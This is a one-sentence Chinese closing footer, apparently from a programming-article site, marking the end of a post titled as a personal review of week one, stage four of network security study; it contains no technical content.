这篇关于4.1网安学习第四阶段第一周回顾(个人学习记录使用)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!